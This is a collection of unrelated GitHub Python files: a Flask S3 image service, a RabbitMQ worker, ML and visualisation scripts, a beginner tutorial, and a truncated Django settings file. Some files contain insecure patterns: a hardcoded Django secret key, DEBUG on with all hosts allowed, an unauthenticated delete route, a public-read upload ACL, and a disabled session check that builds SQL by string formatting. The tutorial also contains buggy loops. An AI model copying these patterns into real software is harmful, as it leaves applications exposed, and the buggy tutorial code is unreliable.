+{"seq_id":"36408262607","text":"import os, uuid, webp, boto3\n\nfrom PIL import Image\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route(\"/\", methods=[\"POST\"])\ndef root_post():\n    file = request.files['file']\n    filename = str(uuid.uuid4().hex)\n\n    tmp_path = f\"{filename}.tmp\"\n    file.save(tmp_path)\n\n    img = Image.open(tmp_path)\n    \n    new_size = 960*540\n    orig_size = img.width * img.height \n\n    if orig_size > new_size:\n        img = img.resize((960,540), Image.Resampling.BOX)\n    elif orig_size < new_size:\n        img = img.resize((960,540), Image.Resampling.LANCZOS)\n\n    webp_path = f\"{filename}.webp\"\n    webp.save_image(img, webp_path, quality=75)\n\n    s3 = boto3.client('s3')\n    with open(webp_path, \"rb\") as f:\n        s3.upload_fileobj(f, \"arn:aws:s3::326782393948:accesspoint/m6ow8xby39me6.mrap\", f\"{filename}.webp\", ExtraArgs={'ACL':'public-read'})\n\n    os.remove(tmp_path)\n    os.remove(webp_path)\n\n    return filename, 200\n\n@app.route(\"/<id>\", methods=[\"GET\"])\ndef root_get(id):\n    s3 = boto3.client('s3')\n    return s3.generate_presigned_url('get_object', Params={'Bucket': \"arn:aws:s3::326782393948:accesspoint/m6ow8xby39me6.mrap\", 'Key': f\"{id}.webp\"}, ExpiresIn=60), 200\n\n@app.route(\"/<id>\", methods=[\"DELETE\"])\ndef root_del(id):\n    s3 = boto3.client('s3')\n    s3.delete_object(\n        Bucket=\"arn:aws:s3::326782393948:accesspoint/m6ow8xby39me6.mrap\",\n        Key=f\"{id}.webp\"\n    )\n    return \"Deleted!\", 200","repo_name":"PeterStoytchev/car-site","sub_path":"img-provider/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"1846876387","text":"import pika\nimport json\nfrom dbs import workconnect\nfrom uhd_api import request_processing\n\n# user = {'Login': 'admin', 'Password': 'admin'}\nhost = '192.168.88.89'\nisSSL = 'false'\nlogin = 'test'\npasswd = 'test'\nport = 5672\n\n# credentials = pika.PlainCredentials(username=login, password=passwd)\n# connection = pika.BlockingConnection(pika.ConnectionParameters(host=host, port=port, credentials=credentials))\nconnection = pika.BlockingConnection(pika.ConnectionParameters(host='localhost'))\nchannel = connection.channel()\n\nchannel.queue_declare(queue='helloIn')\n\ntypes = ['select', 'update', 'create', 'delete', 'auth', 'query']\n\n\ndef check_request(data):\n    print(data)\n    request_type = data['Query'].lower()\n    if request_type in types:\n        ind = types.index(request_type)\n        if request_type == 'auth':\n            return request_processing(data, types[ind], )\n        else:\n            # rights = workconnect.execute(f\"select s.session from session s where \"\n            #                              f\"s.session='{data['SessionId']}'\")\n            # if rights.fetchone():\n            return request_processing(data, types[ind], )\n            # else:\n            #     return {'Result': 'False', 'reason': 'session is not exist'}\n    else:\n        return {'Result': 'False', 'reason': 'Query is not correct', data['Data']['ObjectType']: {'Data': []}}\n\n\ndef on_request(ch, method, props, body):\n    data = json.loads(body.decode('utf-8'))\n    result = check_request(data)\n    print(result)\n    try:\n        ch.basic_publish(exchange='', routing_key=props.reply_to,\n                         properties=pika.BasicProperties(correlation_id=props.correlation_id),\n                         body=result)\n    except Exception as e:\n        print(f'Error is: {e}')\n    ch.basic_ack(delivery_tag=method.delivery_tag)\n\n\nchannel.basic_qos(prefetch_count=10)\nchannel.basic_consume(on_request, queue='helloIn')\n\nprint(' [*] Waiting for messages. To exit press CTRL+C')\nchannel.start_consuming()\n","repo_name":"AyazYakupov/python-server","sub_path":"rmq/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"71605303733","text":"from flet import *\nimport flet as ft\nimport os\n\nos.environ[\"FLET_WS_MAX_MESSAGE_SIZE\"] = \"8000000\"\n\n\ndef main(page: Page):\n    \"\"\"Large List\"\"\"\n    # for i in range(5000):\n    #     page.controls.append(Text(f\"Line {i}\"))\n\n    # page.scroll = \"always\"\n    # page.update()\n\n    \"\"\"ListView\"\"\"\n    # lv = ListView(expand=True, spacing=10)\n    # for i in range(5000):\n    #     lv.controls.append(Text(f\"Line {i}\"))\n\n    # page.add(lv)\n\n    \"\"\"GridView\"\"\"\n    # r = Row(wrap=True, scroll=\"always\", expand=True)\n    # page.add(r)\n\n    # for i in range(5000):\n    #     r.controls.append(\n    #         Container(\n    #             Text(f\"Item {i}\"),\n    #             width=100,\n    #             height=100,\n    #             alignment=alignment.center,\n    #             bgcolor=colors.AMBER_100,\n    #             border=border.all(1, colors.AMBER_400),\n    #             border_radius=border_radius.all(5),\n    #         )\n    #     )\n    # page.update()\n\n    \"\"\"GridView Similar\"\"\"\n    # gv = GridView(expand=True, max_extent=150, child_aspect_ratio=1)\n    # page.add(gv)\n\n    # for i in range(5000):\n    #     gv.controls.append(\n    #         Container(\n    #             Text(f\"Item {i}\", color=colors.BLACK),\n    #             alignment=alignment.center,\n    #             bgcolor=colors.AMBER_100,\n    #             border=border.all(1, colors.AMBER_400),\n    #             border_radius=border_radius.all(5),\n    #         ),\n    #     )\n    # page.update()\n\n    \"\"\"Batch Update\"\"\"\n    #  add ListView to a page first\n    lv = ListView(expand=True, spacing=10, item_extent=50)\n    page.add(lv)\n\n    for i in range(5100):\n        lv.controls.append(Text(f\"Line {i}\"))\n        # send page to a page\n        if i % 500 == 0:\n            page.update()\n\n    # send the rest to a page\n    page.update()\n\n\nft.app(target=main)\n","repo_name":"ariefendi992/flet-tutorial","sub_path":"large_list.py","file_name":"large_list.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24414728227","text":"from ff_wind_elevation import * \n#from MM_forest_fire_model import *  \n#uncomment out line above to see model with just elevation\nfrom mesa.visualization.modules import CanvasGrid\nfrom mesa.visualization.ModularVisualization import ModularServer\n\ndef agent_portrayal(agent):\n    portrayal = {\"Shape\": \"circle\",\n                 \"Filled\": \"true\",\n                 \"Layer\": 0,\n                 \"Color\": \"green\",\n                 \"r\": 0.5}\n\n    if agent.condition == \"On Fire\":\n        portrayal[\"Color\"] = \"red\"\n        portrayal[\"Layer\"] = 0\n\n    if agent.condition == 'Burned Out':\n     \tportrayal[\"Color\"] = 'black'\n     \tportrayal[\"Layer\"] = 1\n\n    else:\n        portrayal[\"Color\"] = \"green\"\n        portrayal[\"Layer\"] = 1\n        portrayal[\"r\"] = 0.2\n    return portrayal\n\ngrid = CanvasGrid(agent_portrayal, 100, 100, 500, 500)\nserver = ModularServer(ForestFire,\n                       [grid],\n                       \"Morrissey Forest Fire model\",\n                       100, 100, .6)\nserver.port = 8889\nserver.launch()","repo_name":"martham93/STA_lab4_MM","sub_path":"MM_forestfire_visualization.py","file_name":"MM_forestfire_visualization.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13855802950","text":"import numpy as np\nfrom utils import log_clip, log_sum_exp\nfrom utils import normalize, exp_normalize\n\n\n\"\"\"Not finished\n- add steady states from eigs\n- generalize to all orders\n- add simulate\n\"\"\"\nclass MarcovChain:\n    \"\"\"Class representing 1st order Marcov Chain\"\"\"\n\n    def __init__(self, n_states):\n        self.n_states = n_states\n        self.transition_matrix = np.ones((n_states, n_states)) / n_states\n        self.state_probs = np.ones(n_states) / n_states\n\n    def fit(self, data):\n        n_states = self.n_states\n        # Get Maximum Likelihood estimation of transiton matrix\n        transition_matrix = np.zeros((n_states, n_states))\n        for seq in data:\n            for i in range(1, len(seq)):\n                transition_matrix[seq[i], seq[i-1]] += 1\n        transition_matrix /= transition_matrix.sum(axis=0)\n        self.transition_matrix = transition_matrix\n        # Get ML estimate of state probs\n        _, state_probs = np.unique(data, return_counts=True)\n        self.state_probs = state_probs / state_probs.sum()\n\n    def describe(self):\n        print('Transition matrix:')\n        print(self.transition_matrix)\n        print()\n        print('State probs:')\n        print(self.state_probs)\n\n        \nclass MarkovMixture:\n    \"\"\"Class representing Mixture of Markov Chains\"\"\"\n    \n    def __init__(self, n_components, n_states):\n        self.params = {\n            'n_components': n_components,\n            'n_states': n_states,\n        }\n        self.history = {'train_loglike': []}\n\n    def fit(self, x, max_iter=1):\n        # Initialize parameters\n        params = self.params\n        n_comp = params['n_components']\n        n_states = params['n_states']\n        \n        transition_matrix = normalize(np.random.rand(n_comp, n_states, n_states), axis=1)\n        self.params['transition_matrix'] = transition_matrix\n\n        init_probs = normalize(np.random.rand(n_comp, n_states), axis=1)\n        self.params['initial_probs'] = init_probs\n        \n        n_seq, n_t = x.shape\n        comp_post = normalize(np.random.rand(n_comp, n_seq))\n                               \n        comp_probs = normalize(np.random.rand(n_comp))\n        self.params['component_probs'] = comp_probs\n        \n        transition_counts = np.zeros((n_seq, n_states, n_states))\n        init_states_dummy = np.zeros((n_seq, n_states))\n        for n, seq in enumerate(x):\n            init_states_dummy[n, seq[0]] = 1\n            for i in range(1, n_t):\n                transition_counts[n, seq[i], seq[i-1]] += 1\n        transition_counts = transition_counts.reshape(-1, n_states**2)\n        \n        # Fit\n        iters = 0\n        for i in range(max_iter):\n            log_transition_matrix = log_clip(transition_matrix).reshape(n_comp, -1)\n            log_init_probs = log_clip(init_probs)\n            log_comp_probs = log_clip(comp_probs)\n            \n            # E-Step\n            comp_loglikes = ((log_init_probs @ init_states_dummy.T)\n                             + (log_transition_matrix @ transition_counts.T)\n                             + log_comp_probs.reshape(-1, 1))\n            \n            comp_post = exp_normalize(comp_loglikes)\n            self.history['train_loglike'].append(log_sum_exp(comp_loglikes))\n            \n            # M-Step\n            init_probs = normalize(comp_post @ init_states_dummy, axis=1)\n            \n            transition_matrix = normalize((comp_post @ transition_counts).reshape(-1, n_states, n_states), axis=1)\n            \n            comp_probs = normalize(comp_post.sum(axis=1, keepdims=True)).reshape(-1)\n        \n        # Update\n        self.params['transition_matrix'] = transition_matrix\n        self.params['initial_probs'] = init_probs\n        self.params['component_probs'] = comp_probs\n    \n    def get_comp_posterior(self, x):\n        return exp_normalize(self.get_comp_loglike(x))\n    \n    def get_loglike(self, x):\n        return log_sum_exp(self.get_comp_loglike(x))\n    \n    def get_comp_loglike(self, x):\n        n_comp = self.params['n_components']\n        n_states = self.params['n_states']\n        n_seq, n_t = x.shape\n        \n        transition_counts = np.zeros((n_seq, n_states, n_states))\n        init_states_dummy = np.zeros((n_seq, n_states))\n        for n, seq in enumerate(x):\n            init_states_dummy[n, seq[0]] = 1\n            for i in range(1, n_t):\n                transition_counts[n, seq[i], seq[i-1]] += 1\n        transition_counts = transition_counts.reshape(-1, n_states**2)\n\n        transition_matrix = self.params['transition_matrix']\n        init_probs = self.params['initial_probs']\n        comp_probs = self.params['component_probs']\n        log_transition_matrix = log_clip(transition_matrix).reshape(n_comp, -1)\n        log_init_probs = log_clip(init_probs)\n        log_comp_probs = log_clip(comp_probs)\n        \n        comp_loglikes = ((log_init_probs @ init_states_dummy.T)\n                          + (log_transition_matrix @ transition_counts.T)\n                          + log_comp_probs.reshape(-1, 1))\n        return comp_loglikes","repo_name":"jmosinski/ml-basics","sub_path":"ml/graphical_models.py","file_name":"graphical_models.py","file_ext":"py","file_size_in_byte":5043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29016573185","text":"#This code is going to make the robot move in simple directions\n#and going forward\n#Author: Alexander Bradshaw\n\nimport easygopigo3 as easy\nimport time\nimport sys\n\n\n\ngpg = easy.EasyGoPiGo3()\n\ngpg.forward()\ntime.sleep(5)\ngpg.left()\ntime.sleep(2)\ngpg.forward()\ntime.sleep(2)\ngpg.stop()\n\ngpg.drive_inches(12, True)\ngpg.stop()\n\nsys.exit\n","repo_name":"bradshaw13/AutonomousRobot","sub_path":"simplemovements.py","file_name":"simplemovements.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20679507205","text":"from Products.CMFCore import utils \n\nfrom Products.Archetypes import atapi\nfrom Products.ATContentTypes import permission\n\ndef initialize(context):\n    from pleiades.vaytrouindex import criteria\n    criteria # import to register\n\n    listOfTypes = atapi.listTypes('pleiades.vaytrouindex')\n\n    content_types, constructors, ftis = atapi.process_types(\n        listOfTypes,\n        'pleiades.vaytrouindex')\n\n    allTypes = zip(content_types, constructors)\n    for atype, constructor in allTypes:\n        kind = \"%s: %s\" % (\n            'pleiades.vaytrouindex', atype.archetype_name)\n        utils.ContentInit(\n            kind, content_types=(atype,),\n            permission=permission.AddTopics,\n            extra_constructors=(constructor,)).initialize(context)\n","repo_name":"isawnyu/pleiades-vaytrouindex","sub_path":"pleiades/vaytrouindex/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19773950897","text":"\"\"\"Solve item descriptions.\"\"\"\nimport typing as t\nimport re\n\nimport sklearn.tree\nimport sklearn.ensemble\n\n_cached_class_docs = set()\n\n\ndef build_class_arg_key(obj, prefix: str = \"class_\") -> str:\n    \"\"\"Build a standard description key for a given object attribute.\"\"\"\n    return prefix + str(type(obj))\n\n\ndef get_class_doc(\n    model, prefix: str = \"class_\", check_cache: bool = True, verbose: bool = False\n) -> t.Dict[str, str]:\n    \"\"\"Get documentation of given class instantiation arguments and attributes.\"\"\"\n    global _cached_class_docs\n\n    if check_cache and type(model) in _cached_class_docs:\n        return {}\n\n    preproc = re.sub(\"\\n\\n|--+\", \"__@\", model.__doc__)\n    preproc = re.sub(\"([^\\s]) : ([^\\n]+)\", r\"\\1 : (Type: \\2)\", preproc)\n    preproc = re.sub(\"\\s+\", \" \", preproc)\n    preproc = re.sub(\"(?<=__@)\\s\", \"\", preproc)\n    preproc = re.sub(\"``|`\", '\"', preproc)\n    preproc = preproc.split(\"__@\")\n\n    res = {}  # type: t.Dict[str, str]\n\n    full_prefix = build_class_arg_key(obj=model, prefix=prefix)\n\n    for piece in preproc:\n        try:\n            param, desc = piece.split(\" : \")\n            res[full_prefix + param] = desc\n\n            if verbose:\n                print(\"Updated doc. w/ key = \", full_prefix + param)\n\n        except ValueError:\n            pass\n\n    _cached_class_docs.add(type(model))\n\n    return res\n\n\nDESCRIPTIONS = {\n    \"within_cluster_dists\": (\n        \"Sum of within cluster distances for each instance. The medoid \"\n        \"tree have, by definition, the minimal sum of inner cluster distances \"\n        \"in its cluster. The format of this list is: \"\n        \"[Tree Index] ([Total sum of distances]): [Inner cluster proportion \"\n        \"of the distance sum]\"\n    ),\n    \"depth_frequencies\": \"Relative frequency of each tree depth in the forest model.\",\n    \"prediction_result\": (\n        \"Final output of the forest model for the given test data. It is the \"\n        \"mode value for all forest tree outputs for classification tasks, or the \"\n        \"average value for all forest tree outputs for regression tasks.\"\n    ),\n    \"class_distribution\": (\n        \"Class distribution for the given instance considering all tree votes.\"\n    ),\n    \"pred_margin\": (\n        \"Margin is the instance highest class probability \"\n        \"minus second highest class probability.\"\n    ),\n    \"pred_margin\": (\n        \"Margin is the instance highest class probability \"\n        \"minus second highest class probability.\"\n    ),\n    \"preds_std\": (\"Standard deviation of the all tree predictions.\"),\n    \"preds_quantiles\": (\n        \"(0.0, 0.25, 0.50, 0.75, 1.0) quantiles of the all \"\n        \"tree predictions. The format is 'quantile: value'.\"\n    ),\n    **get_class_doc(sklearn.ensemble.RandomForestClassifier()),\n    **get_class_doc(sklearn.ensemble.RandomForestRegressor()),\n    **get_class_doc(sklearn.ensemble.BaggingClassifier()),\n    **get_class_doc(sklearn.ensemble.BaggingRegressor()),\n    # **get_class_doc(sklearn.ensemble.GradientBoostingClassifier()),\n    # **get_class_doc(sklearn.ensemble.GradientBoostingRegressor()),\n    **get_class_doc(sklearn.ensemble.ExtraTreesClassifier()),\n    **get_class_doc(sklearn.ensemble.ExtraTreesRegressor()),\n    **get_class_doc(sklearn.tree.DecisionTreeClassifier()),\n    **get_class_doc(sklearn.tree.DecisionTreeRegressor()),\n}  # t.Dict[t.Any, str]\n\n\ndef dictionarize(value: t.Any, aux_value: t.Any, aux_key: str) -> t.Dict[str, t.Any]:\n    res = {\n        \"value\": value,\n        aux_key: aux_value,\n    }\n\n    return res\n\n\ndef add_desc(\n    value: t.Any,\n    desc: t.Optional[str] = None,\n    from_id: t.Optional[t.Any] = None,\n    from_obj_doc: t.Optional[t.Any] = None,\n    verbose: bool = False,\n) -> t.Dict[str, t.Any]:\n    \"\"\"Add a description to an object.\"\"\"\n    if from_obj_doc is not None and from_id is None:\n        raise ValueError(\"'from_id' must be given if 'from_obj_doc' is given.\")\n\n    if desc is None:\n        if from_obj_doc is not None:\n            from_id = build_class_arg_key(obj=from_obj_doc) + from_id\n\n        if verbose:\n            print(\"Added desc - from_id =\", from_id)\n\n        desc = DESCRIPTIONS.get(from_id, None)\n\n    return dictionarize(value=value, aux_value=desc, aux_key=\"description\")\n\n\ndef add_proportion(value: t.Any, prop: float) -> t.Dict[str, t.Any]:\n    \"\"\"Attach a proportion to an object.\"\"\"\n    return dictionarize(value=value, aux_value=prop, aux_key=\"proportion\")\n","repo_name":"FelSiq/nyata-random-forest-visualization","sub_path":"backend/nyata/descriptions.py","file_name":"descriptions.py","file_ext":"py","file_size_in_byte":4411,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"71776020534","text":"# -*- coding: utf-8 -*-\n\"\"\"\nPlota gráfico de dispesão com componentes principais do dataset de enunciados.\n\n\"\"\"\n\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA\nimport numpy as np\nimport pandas as pd\nfrom dados import carrega_dados\n\n\n\ndef plota_scatter_com_legenda_de_cor(x, y, valores):\n    \"\"\" \n    Cria um gráfico de dispersão com pontos em x,y e cores corresopndentes às classes\n    da variável valores e com as legendas (label) com os nomes das classes.\n    \"\"\"\n    \n    # Obtém lista de classes\n    classes = sorted(np.unique(valores))\n    \n    # Cria mapa de cores com o número de cores igual ao númer de classes\n    colors = plt.cm.get_cmap('gist_rainbow', len(classes))\n\n    # Para cada classe\n    for i, classe in enumerate(classes):\n        # Filtra pontos da classe\n        xc = x[valores == classe]\n        yc = y[valores == classe]\n        \n        # Plota dados da classes com a cor e o label (que aparece ao se usar legend) correta\n        plt.scatter(xc, yc, color=colors(len(xc)*[i]), s=10, label=classe)\n\n\n#Carrega dataset\narquivo_dataset = 'D:\\\\Users\\\\camposb\\\\Projetos\\\\scripts\\\\dataset_enunciados.npy'\ndataset = np.load(arquivo_dataset).item()\n\n# Converte lista de códigos das áreas para lista de nomes das áreas\ndata_dir = 'D:\\\\Users\\\\camposb\\\\Projetos\\\\data' \ndados = carrega_dados(data_dir)\nnomes_areas = sorted(np.unique(dados.Área))\nareas = np.array([nomes_areas[codigo] for codigo in dataset['Área']])\n\n# Extrai compoenentes princiapsi com PCA\npca = PCA(n_components=2)\ncomponentes_principais = pca.fit_transform(dataset['X'])\n\n# Atribui às variáveis x e y os dois principais componenetes extraídos pelo PCA (coluna 1 e coluna 2)\nx = componentes_principais[:, 0]\ny = componentes_principais[:, 1]\n\n    \n# Plota os pontos com as cores certas de acordo com o agrupamento\nplota_scatter_com_legenda_de_cor(x, y, areas)\nplt.grid()\nplt.legend(fontsize=8)\nplt.title('Componentes principais (PCA) dos enunciados')\n\n\n\n'''\nCódigo para validar as imersões.\n\n# Obtém dicionário mapeando cada palavra ao respectivo vetor\nimersoes = np.load('..\\\\w2e-embeddings\\\\types-features.npy')\n\n# Extrai compoenentes princiapsi com PCA\npca = PCA(n_components=2)\nimersoes = pca.fit_transform(imersoes)\n\nvocabulario = open('..\\\\w2e-embeddings\\\\vocabulary.txt', encoding='utf8').read().split('\\n')\nmapa_vetores = { w:imersoes[i] for i,w in enumerate(vocabulario) }  \n\n\n\nfor pais in ['brasil','belgica','chile','frança','mexico','alemanha','argentina']:\n    plt.scatter(*mapa_vetores[pais], color='red', s=50)\n    \nfor animal in ['boi','vaca','zebra','cavalo','ovelha','tartaruga','jabuti','hiena','jacaré','raposa']:\n    plt.scatter(*mapa_vetores[animal], color='green', s=50)    \n    \n    \nfor animal in ['eu','tu','ele','nós','vós','eles','me','te','lhe','nos','vos','lhes']:\n    plt.scatter(*mapa_vetores[animal], color='blue', s=50)    \n    \nfor animal in ['um','dois','três','quatro','cinco','seis','sete','oito','nove','dez','zero']:\n    plt.scatter(*mapa_vetores[animal], color='yellow', s=50)   \nplt.grid()\n\n\nfor pais in ['alemanha', 'frança']:\n    plt.scatter(*mapa_vetores[pais], color='purple', s=50)\n'''","repo_name":"lucasosouza/lstm-text-classification-tcu","sub_path":"scripts/plota_componentes_principais.py","file_name":"plota_componentes_principais.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"pt","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"20008398027","text":"#Reverse#\nS = \"HELLO\"\nreverse_name = ' '\n\n#1\nfor c in S:\n    reverse_name = c + reverse_name\n\nprint(f'name    : {S}')\nprint(f'reverse : {reverse_name}')\n\n#2\nprint(S[::-1])\n\n\n# f(x) = 1/x^2#\nx= int(input('Enter x: '))\nif x==0:\n    print('error- div by 0')\nelse:\n    print(f'f(x) = {1/(x**2)}')\n\n\n#Boolean#\ns= [-100, 200, 300]\nprint(bool(s))\n\n\n#for Loop#\n\n# for VAR in ITERABLE:\n#  BLOCK\n\n# ITERABLE MEAN = SEQUENCE\n\n#range()function creates a sequence or a series of numbers(integers)\n#Syntax: range(start, stop, step)\n\nx = range(6)\nprint(x)\n\nprint(list(x))\n\nprint(list(range(3,6)))\n\nprint(list(range(3,10,2)))\n\n\n# 세로로 출력\nfor i in range(10):\n    print(f\"{i}\")\n\n# 가로로 출력\nfor i in range(10):\n    print(f\"{i}\", end=\" \")\n\n# 제곱 출력\nfor i in range(10):\n    print(f\"{i**2}\", end=\" \")\n\n#헤헤\nS =  \"Hello\"\nfor i in s:\n    print(i, end=\"\")\n\n\n\n#EXAMPLE 1#\n# What does if I 2 == 0 mean in Python?\n# if not i%2==0 can also be written as, if (i%2!=0).\n# i%2 gives the remainder obtained when i is divided by 2.\n# So the expression stands true if the remainder of i when divided by 2 is not 0.\n# Therefore, the expression stands true for all odd numbers because any odd number when divides with 2,\n# leaves a remainder of 1#\n\nnumber= int(input('Enter the number: '))\nsum_even = 0\nsum_odd = 0\nfor i in range(number):\n    if i % 2 == 0:\n        sum_even = sum_even + i\n    else:\n        sum_odd = sum_odd + i\nprint(f\"Sum of Even numbers are {sum_even} and Odd numbers are {sum_odd}\")\n\n\n#While#\na = 10\nwhile a < 40:\n    print(a)\n    # a=a+1\n    a=a+10\n\n#\nnumber = int(input(\"Enter a number up to which you want to find the average: \"))\ni = 0\nsumm = 0\ncount = 0\nwhile i < number:\n    i = i+1\n    summ = summ + i\n    count = count + 1\naverage = summ/count + 1\nprint(f\"The average of {number} natural number is {average}\")\n\n\n#write Python Program to find the sum of digits in a Number\nA = int(input('Enter a number:'))\nresult = 0\nremainder = 0\nwhile number != 0:\n    remainder = number % 10\n    result = result + remainder\n    A = int(A/10)\nprint(f\"The sum of all digits is {result}\")\n\n\n\n#program to Demonstrate break Statement\nn = 0\nwhile True:\n    print(f\"The latest value of n is {n}\")\n    n = n + 1\n    if n > 5:\n        print(f\"The value of n is greater than 5\")\n        break\n\n#program to Demonstrate continue Statement\nvar = 10\nwhile var > 0:\n    var = var =1\n    if var == 5:\n        print(f'breaking at:{var}')\n        continue\n    print(f'Current variable value:{var}')\n\n","repo_name":"sejin8839/COMP-lecture","sub_path":"FlowControl-2.py","file_name":"FlowControl-2.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"21601935018","text":"\n\nimport os\nfrom pathlib import Path\n\nfrom django.core.exceptions import ImproperlyConfigured\n\n\n\nBASE_DIR = Path(__file__).resolve().parent.parent\n\n\nCACHES = {\n    'default': {\n        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',\n        'LOCATION': os.path.join(BASE_DIR, 'cache'),  # Use an absolute path\n    }\n}\n\nSECRET_KEY = 'django-insecure-+mqi^t_drfkpft1phfe1pwwr9u5#phb11u9^o4u!nsra)s#6l!'\n\n\nTWILIO_VERIFY_SERVICE_SID = 'your_twilio_verify_service_sid'\n\n\ndef get_secret(key, default=None):\n    secret = os.getenv(key=key, default=default)\n    if secret is None:\n        raise ImproperlyConfigured(\n            f'Set the {key} secret environment variable')\n    return secret\n\n\nDEBUG = True\n\n\nALLOWED_HOSTS = ['*' ,'18.11.22.58']\n\n\nINSTALLED_APPS = [\n    'django.contrib.admin',\n    'django.contrib.auth',\n    'django.contrib.contenttypes',\n    'django.contrib.sessions',\n    'django.contrib.messages',\n    'django.contrib.staticfiles',\n    'django.contrib.sites',\n    'allauth',\n    'allauth.account',\n    'allauth.socialaccount',\n    'geoip2',\n    'air',\n    'django_simple_coupons',\n    'ckeditor',\n    'content',\n]\n\nMIDDLEWARE = [\n    'django.middleware.security.SecurityMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.middleware.common.CommonMiddleware',\n    'django.middleware.csrf.CsrfViewMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    'django.middleware.clickjacking.XFrameOptionsMiddleware',\n    'allauth.account.middleware.AccountMiddleware',\n]\n\nROOT_URLCONF = 'booking_app.urls'\n\nTEMPLATES = [\n    {\n        'BACKEND': 'django.template.backends.django.DjangoTemplates',\n        'DIRS': [BASE_DIR / 'booking_app/templates/'],\n        'APP_DIRS': True,\n        'OPTIONS': {\n            'context_processors': [\n                'django.template.context_processors.debug',\n                'django.template.context_processors.request',\n                'django.contrib.auth.context_processors.auth',\n                'django.contrib.messages.context_processors.messages',\n            ],\n        },\n    },\n]\n\nWSGI_APPLICATION = 'booking_app.wsgi.application'\n\n\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.sqlite3',\n        'NAME': BASE_DIR / 'db.sqlite3',\n    }\n}\n\nSECURE_SSL_REDIRECT = True\n\n\nAUTH_PASSWORD_VALIDATORS = [\n    {\n        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n    },\n]\n\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\nSTATIC_URL = '/static/'\n\nDEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'\n\nAMADEUS_API_KEY = 'your_amadeus_api_key'\nAMADEUS_API_SECRET = 'your_amadeus_api_secret'\nAMADEUS_HOSTNAME = 'your_amadeus_hostname'\n\nSTRIPE_PUBLISHABLE_KEY = 'your_stripe_publishable_key'\nSTRIPE_SECRET_KEY = 'your_stripe_secret_key'\n\nSENDGRID_API_KEY = 'your_sendgrid_api_key'\nSENDGRID_SANDBOX_MODE_IN_DEBUG = False\nSENDGRID_ECHO_TO_STDOUT = True\nDEFAULT_FROM_EMAIL = 'your_default_email@example.com'\n\nAUTHENTICATION_BACKENDS = [\n    'django.contrib.auth.backends.ModelBackend',\n    'allauth.account.auth_backends.AuthenticationBackend',\n]\n\nGEOIP_PATH = os.path.join(BASE_DIR, 'geoip')\nGEOIP_COUNTRY = \"GeoIP2-Country.mmdb\"\n\nSITE_ID = 1\n\nLOGIN_REDIRECT_URL = '/'\n\nACCOUNT_EMAIL_REQUIRED = True\nACCOUNT_USERNAME_REQUIRED = True\nACCOUNT_AUTHENTICATION_METHOD = \"username_email\"\n\nCACHES = {\n    'default': {\n        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',\n        'LOCATION': '/var/tmp/uralholidays_cache'\n    }\n}\n\n\nTIME_INPUT_FORMATS = [\n    '%H:%M:%S',\n    '%H:%M:%S.%f',\n    '%H:%M',\n    '%H:%M %P'\n]\n\nSTATIC_URL = '/static/'\nSTATICFILES_DIRS = [os.path.join(BASE_DIR, \"static\")]\n\n\nCORS_ALLOW_HEADERS = [\n    'accept',\n    'accept-encoding',\n    'authorization',\n    'content-type',\n    'dnt',\n    'origin',\n    'user-agent',\n    'x-csrftoken',\n    'x-requested-with',\n]\nCORS_ALLOW_METHODS = ['DELETE', 'GET', 'OPTIONS', 'PATCH', 'POST', 'PUT']\n\n\ndef custom_user_authentication_rule(user):\n    return user is not None\n\n\nEMAIL_PORT = 587\nEMAIL_USE_TLS = True\nEMAIL_HOST_USER = 'apikey'\nEMAIL_HOST_PASSWORD = 'SENDGRID_API_KEY'\nEMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\nEMAIL_HOST = 'smtp.sendgrid.net'\nDEFAULT_FROM_EMAIL = 'Uralholidays Team <admin@uralholidays.com>'\nCKEDITOR_CONFIGS = {\n    'default': {\n        'toolbar': 'Custom',\n        'toolbar_Custom': [\n            ['Bold', 'Italic', 'Underline'],\n            ['NumberedList', 'BulletedList', '-', 'Outdent', 'Indent',\n                'JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock'],\n            ['Link', 'Unlink', 'Anchor'],\n            ['Styles', 'Format', 'Font', 'FontSize'],\n            ['TextColor', 'BGColor'],\n            